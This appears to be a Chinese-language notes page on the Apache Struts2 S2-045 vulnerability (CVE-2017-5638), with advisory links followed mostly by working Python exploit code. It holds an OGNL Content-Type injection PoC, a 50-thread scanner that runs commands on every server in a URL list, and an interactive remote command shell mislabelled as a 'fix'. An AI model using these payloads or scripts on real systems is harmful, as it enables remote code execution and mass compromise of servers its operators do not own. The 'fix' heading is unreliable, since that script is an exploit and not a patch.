CVE-2017-5638 Apache Struts2（S2-045）PoC

原理分析

官方公告
https://cwiki.apache.org/confluence/display/WW/S2-045

S2-045 原理初步分析（CVE-2017-5638） - seebug
http://paper.seebug.org/241/

S2-045 分析
http://blog.csdn.net/u011721501/article/details/60768657

PoC

#! /usr/bin/env python
#coding: utf-8

import requests
import sys
header = dict()
header['Content-Type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('test'+602+53718)).(#o.close())}"

s = requests.get(sys.argv[1], headers=header)
print s.content

Exploit

多线程检测

# encoding:utf-8
import urllib2
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import threading
def poc(url):
        register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        try:
            request = urllib2.Request(url,datagen,headers=header)
            response = urllib2.urlopen(request,timeout=5)
            body=response.read()
        except:
                body=""
        if "nMask" in body:
                print "[Loopholes exist]",url
                f.write(url+"\n")
        else:
                print "Loopholes not exist",url
if __name__=="__main__":
        '''
        url.txtΪŽýŒì²âurlÁбí
        result.txtΪŒì²âÍêÊä³öœá¹ûÎÄŒþ
        '''
        f=open("result.txt","a")
        url_list=[i.replace("\n","") for i in open("url.txt","r").readlines()]
        for url in url_list:
                threading.Thread(target=poc,args=(url,)).start()
                while 1:
                        if(len(threading.enumerate())<50):
                                break

s2-045-fix

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
    cmd = raw_input('cmd > ')
    if cmd != 'exit':
        register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="+"'"+cmd+"'"+").(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(str(sys.argv[1]), datagen, headers=header)
        response = urllib2.urlopen(request)
        print(response.read())
    else:
        sys.exit()

if __name__ == "__main__":
    while True:
        poc()

exe 后门待检测

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经济影响

安恒
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